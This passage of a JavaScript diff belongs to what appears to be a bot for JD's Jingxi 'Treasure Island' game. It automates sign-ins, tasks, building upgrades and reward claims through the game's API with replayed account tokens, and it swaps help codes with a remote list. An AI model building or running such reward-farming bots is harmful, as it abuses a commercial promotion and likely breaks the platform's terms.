catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 寻宝 +function TreasureHunt(strIndex) { + return new Promise((resolve) => { + $.get(taskUrl(`user/TreasureHunt`, `strIndex=${strIndex}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} TreasureHunt API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + if (data.AwardInfo.dwAwardType === 0) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 金币`) + } else if (data.AwardInfo.dwAwardType === 1) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 财富`) + console.log(JSON.stringify(data)) + } else if (data.AwardInfo.dwAwardType === 4) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.strPrizePrice} 红包`) + } else { + console.log(JSON.stringify(data)) + } + } else { + console.log(`寻宝失败:${data.sErrMsg}`) + $.break = true + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 接待贵宾 +function specialUserOper(strStoryId, dwType, ddwTriggerDay, StoryList) { + return new Promise((resolve) => { + $.get(taskUrl(`story/SpecialUserOper`, `strStoryId=${strStoryId}&dwType=${dwType}&triggerType=0&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} SpecialUserOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (dwType === '2') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'下船成功`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'下船失败 ${data.sErrMsg}\n`) + } + } else if (dwType === '3') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'用餐成功:获得${StoryList.Special.ddwCoin}金币\n`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'用餐失败:${data.sErrMsg}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 收藏家 +function collectorOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise((resolve) => { + $.get(taskUrl(`story/CollectorOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectorOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 美人鱼 +async function mermaidOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/MermaidOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} MermaidOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + switch (dwType) { + case '1': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`开始解救美人鱼`) + dwType = '3' + await mermaidOper(strStoryId, dwType, ddwTriggerDay) + await $.wait(2000) + } else { + console.log(`开始解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '2': + break + case '3': + if (data.iRet === 0 || data.sErrMsg === 'success') { + dwType = '2' + let mermaidOperRes = await mermaidOper(strStoryId, dwType, ddwTriggerDay) + console.log(`解救美人鱼成功:获得${mermaidOperRes.Data.ddwCoin || '0'}金币\n`) + } else { + console.log(`解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '4': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`昨日解救美人鱼领奖成功:获得${data.Data.Prize.strPrizeName}\n`) + } else { + console.log(`昨日解救美人鱼领奖失败:${data.sErrMsg}\n`) + } + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 卖贝壳 +async function querystorageroom(dwSceneId) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(2000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=${dwSceneId}`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 每日签到 +async function getTakeAggrPage(type) { + return new Promise(async (resolve) => { + switch (type) { + case 'sign': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body) + await $.wait(2000) + } else { + console.log(`今日已签到\n`) + break + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'wxsign': + $.get(taskUrl(`story/GetTakeAggrPage`, '', 6), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`小程序每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body, 6) + await $.wait(2000) + } else { + console.log(`今日已签到\n`) + break + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'helpdraw': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n领助力奖励`) + let helpNum = [] + for (let key of Object.keys(data.Data.Employee.EmployeeList)) { + let vo = data.Data.Employee.EmployeeList[key] + if (vo.dwStatus !== 1) { + helpNum.push(vo.dwId) + } + } + if (helpNum.length !== 0) { + for (let j = 0; j < helpNum.length; j++) { + await helpdraw(helpNum[j]) + await $.wait(2000) + } + } else { + console.log(`暂无可领助力奖励`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) +} +function rewardSign(body, dwEnv = 7) { + return new Promise((resolve) => { + $.get(taskUrl(`story/RewardSign`, body, dwEnv), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RewardSign API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.ddwCoin) { + console.log(`签到成功:获得${data.Data.ddwCoin}金币\n`) + } else if (data.Data.ddwMoney) { + console.log(`签到成功:获得${data.Data.ddwMoney}财富\n`) + } else if (data.Data.strPrizeName) { + console.log(`签到成功:获得${data.Data.strPrizeName}\n`) + } else { + console.log(`签到成功:很遗憾未中奖~\n`) + } + } else { + console.log(`签到失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function helpdraw(dwUserId) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpdraw`, `dwUserId=${dwUserId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpdraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.StagePrizeInfo) { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币 ${data.Data.StagePrizeInfo.ddwMoney}财富 ${(data.Data.StagePrizeInfo.strPrizeName && !data.Data.StagePrizeInfo.ddwMoney) ? data.Data.StagePrizeInfo.strPrizeName : `0元`}红包`) + } else { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币`) + } + } else { + console.log(`领取助力奖励失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 倒垃圾 +async function queryRubbishInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/QueryRubbishInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryRubbishInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`倒垃圾`) + if (data.Data.StoryInfo.StoryList.length !== 0) { + for (let key of Object.keys(data.Data.StoryInfo.StoryList)) { + let vo = data.Data.StoryInfo.StoryList[key] + if (vo.Rubbish) { + await $.wait(2000) + let rubbishOperRes = await rubbishOper('1') + if (Object.keys(rubbishOperRes.Data.ThrowRubbish.Game).length) { + console.log(`获取垃圾信息成功:本次需要垃圾分类`) + for (let key of Object.keys(rubbishOperRes.Data.ThrowRubbish.Game.RubbishList)) { + let vo = rubbishOperRes.Data.ThrowRubbish.Game.RubbishList[key] + await $.wait(2000) + var rubbishOperTwoRes = await rubbishOper('2', `dwRubbishId=${vo.dwId}`) + } + if (rubbishOperTwoRes.iRet === 0) { + let AllRubbish = rubbishOperTwoRes.Data.RubbishGame.AllRubbish + console.log(`倒垃圾成功:获得${AllRubbish.ddwCoin}金币 ${AllRubbish.ddwMoney}财富\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperTwoRes.sErrMsg}\n`) + } + } else { + console.log(`获取垃圾信息成功:本次不需要垃圾分类`) + if (rubbishOperRes.iRet === 0 || rubbishOperRes.sErrMsg === "success") { + console.log(`倒垃圾成功:获得${rubbishOperRes.Data.ThrowRubbish.ddwCoin}金币\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperRes.sErrMsg}\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function rubbishOper(dwType, body = '') { + return new Promise((resolve) => { + switch(dwType) { + case '1': + $.get(taskUrl(`story/RubbishOper`, `dwType=1&dwRewardType=0`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + case '2': + $.get(taskUrl(`story/RubbishOper`, `dwType=2&dwRewardType=0&${body}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + default: + break + } + }) +} + +// 牛牛任务 +async function getActTask(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/GetActTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (type) { + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ([0, 1, 2].includes(vo.dwOrderId) && (vo.dwCompleteNum !== vo.dwTargetNum) && vo.dwTargetNum < 10) { + if (vo.strTaskName === "升级1个建筑") continue + console.log(`开始【🐮牛牛任务】${vo.strTaskName}`) + for (let i = vo.dwCompleteNum; i < vo.dwTargetNum; i++) { + console.log(`【🐮牛牛任务】${vo.strTaskName} 进度:${i + 1}/${vo.dwTargetNum}`) + await doTask(vo.ddwTaskId, 2) + await $.wait(2000) + } + } + } + data = await getActTask(false) + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { + await awardActTask('Award', vo) + await $.wait(2000) + } + } + data = await getActTask(false) + if (data.Data.dwCompleteTaskNum >= data.Data.dwTotalTaskNum) { + if (data.Data.dwStatus !== 4) { + console.log(`【🐮牛牛任务】已做完,去开启宝箱`) + await awardActTask('story/ActTaskAward') + await $.wait(2000) + } else { + console.log(`【🐮牛牛任务】已做完,宝箱已开启`) + } + } else { + console.log(`【🐮牛牛任务】未全部完成,无法开启宝箱\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function awardActTask(function_path, taskInfo = '') { + const { ddwTaskId, strTaskName} = taskInfo + return new Promise((resolve) => { + switch (function_path) { + case 'Award': + $.get(taskListUrl(function_path, `taskId=${ddwTaskId}`, 'jxbfddch'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + if (JSON.parse(prizeInfo).dwPrizeType == 4) { + str = msg + prizeInfo ? `获得红包 ¥ ${JSON.parse(prizeInfo).strPrizeName}` : ''; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + } + console.log(`【🐮领牛牛任务奖励】${strTaskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'story/ActTaskAward': + $.get(taskUrl(function_path), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`【🐮牛牛任务】开启宝箱成功:获得财富 ¥ ${data.Data.ddwBigReward}\n`) + } else { + console.log(`【🐮牛牛任务】开启宝箱失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) +} + +// 升级建筑 +async function getBuildInfo(body, buildList, type = true) { + let twobody = body + return new Promise(async (resolve) => { + $.get(taskUrl(`user/GetBuildInfo`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (type) { + let buildNmae; + switch(buildList.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break + } + if (data.dwBuildLvl === 0) { + console.log(`创建建筑`) + console.log(`【${buildNmae}】当前建筑还未创建,开始创建`) + await createbuilding(`strBuildIndex=${data.strBuildIndex}`, buildNmae) + await $.wait(2000) + data = await getBuildInfo(twobody, buildList, false) + await $.wait(2000) + } + console.log(`收金币`) + const body = `strBuildIndex=${data.strBuildIndex}&dwType=1` + let collectCoinRes = await collectCoin(body) + console.log(`【${buildNmae}】收集${collectCoinRes.ddwCoin}金币`) + await $.wait(3000) + await getUserInfo(false) + console.log(`升级建筑`) + console.log(`【${buildNmae}】当前等级:${buildList.dwLvl}`) + console.log(`【${buildNmae}】升级需要${data.ddwNextLvlCostCoin}金币,保留升级需要的3倍${data.ddwNextLvlCostCoin * 3}金币,当前拥有${$.info.ddwCoinBalance}金币`) + if(data.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= (data.ddwNextLvlCostCoin * 3)) { + console.log(`【${buildNmae}】满足升级条件,开始升级`) + const body = `strBuildIndex=${data.strBuildIndex}&ddwCostCoin=${data.ddwNextLvlCostCoin}` + await $.wait(2000) + let buildLvlUpRes = await buildLvlUp(body) + if (buildLvlUpRes.iRet === 0) { + console.log(`【${buildNmae}】升级成功:获得${data.ddwLvlRich}财富\n`) + } else { + console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) + } + } else { + console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function collectCoin(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/CollectCoin`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectCoin API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function buildLvlUp(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function createbuilding(body, buildNmae) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/createbuilding`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} createbuilding API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) console.log(`【${buildNmae}】创建成功`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 助力 +function helpByStage(shareCodes) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpbystage`, `strShareId=${shareCodes}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`助力成功:获得${data.Data.GuestPrizeInfo.strPrizeName}`) + } else if (data.iRet === 2235 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2232 || data.sErrMsg === '分享链接已过期') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { + console.log(`助力失败:您的账号已黑`) + $.canHelp = false + } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else { + console.log(`助力失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +// 获取用户信息 +function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${encodeURIComponent('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task,cfd_has_show_selef_point,choose_goods_has_show,daily_task_win,new_user_task_win,guider_new_user_task,guider_daily_task_icon,guider_nn_task_icon,tool_layer,new_ask_friend_m')}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}&strPgUUNum=${token['farm_jstoken']}&strVersion=1.0.1&dwIsReJoin=1`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + $.showPp = data?.AreaAddr?.dwIsSHowPp ?? 0 + const { + buildInfo = {}, + ddwRichBalance, + ddwCoinBalance, + sErrMsg, + strMyShareId, + dwLandLvl, + LeadInfo = {}, + StoryInfo = {}, + Business = {}, + XbStatus = {} + } = data; + if (showInvite) { + console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}`); + $.shareCodes.push(strMyShareId) + await uploadShareCode(strMyShareId) + } + $.info = { + ...$.info, + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + dwLandLvl, + LeadInfo, + StoryInfo, + XbStatus + }; + resolve({ + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + LeadInfo, + StoryInfo, + XbStatus + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getPropTask() { + return new Promise((resolve) => { + $.get(taskUrl(`story/GetPropTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getPropTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ((vo.dwCompleteNum < vo.dwTargetNum) && ![9, 11].includes(vo.dwPointType)) { + await doTask(vo.ddwTaskId, 3) + await $.wait(2000) + } else { + if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { + console.log(`【${vo.strTaskName}】已完成,去领取奖励`) + await $.wait(2000) + await awardTask(2, vo) + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//任务 +function getTaskList(taskType) { + return new Promise(async (resolve) => { + switch (taskType){ + case 0: //日常任务 + $.get(taskListUrl("GetUserTaskStatusList", `taskId=0&showAreaTaskFlag=${$.showPp}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 日常任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + $.allTask = userTaskStatusList.filter((x) => x.awardStatus !== 1 && x.taskCaller === 1); + if($.allTask.length === 0) { + console.log(`【📆日常任务】已做完`) + } else { + console.log(`获取【📆日常任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + case 1: //成就任务 + $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 成就任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + $.allTask = userTaskStatusList.filter((x) => (x.completedTimes >= x.targetTimes) && x.awardStatus !== 1 && x.taskCaller === 2); + if($.allTask.length === 0) { + console.log(`【🎖成就任务】没有可领奖的任务\n`) + } else { + console.log(`获取【🎖成就任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + default: + break; + } + }); +} + +//浏览任务 + 做任务 + 领取奖励 +function browserTask(taskType) { + return new Promise(async (resolve) => { + switch (taskType) { + case 0://日常任务 + for (let i = 0; i < $.allTask.length; i++) { + const start = $.allTask[i].completedTimes, end = $.allTask[i].targetTimes, bizCode = $.allTask[i]?.bizCode ?? "jxbfd" + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【📆日常任务】${taskinfo.taskName}\n`); + for (let i = start; i < end; i++) { + //做任务 + console.log(`【📆日常任务】${taskinfo.taskName} 进度:${i + 1}/${end}`) + await doTask(taskinfo.taskId, null, bizCode); + await $.wait(2000); + } + //领取奖励 + await awardTask(0, taskinfo, bizCode); + } + break; + case 1://成就任务 + for (let i = 0; i < $.allTask.length; i++) { + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【🎖成就任务】${taskinfo.taskName}\n`); + if(taskinfo.completedTimes < taskinfo.targetTimes){ + console.log(`【领成就奖励】${taskinfo.taskName} 该成就任务未达到门槛\n`); + } else { + //领奖励 + await awardTask(1, taskinfo); + await $.wait(2000); + } + } + break; + default: + break; + } + resolve(); + }); +} + +//做任务 +function doTask(taskId, type = 1, bizCodeXx) { + return new Promise(async (resolve) => { + let bizCode = `jxbfd`; + if (type === 2) bizCode = `jxbfddch`; + if (type === 3) bizCode = `jxbfdprop`; + if (bizCodeXx) bizCode = bizCodeXx + $.get(taskListUrl(`DoTask`, `taskId=${taskId}`, bizCode), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} DoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +//领取奖励 +function awardTask(taskType, taskinfo, bizCode = "jxbfd") { + return new Promise((resolve) => { + const 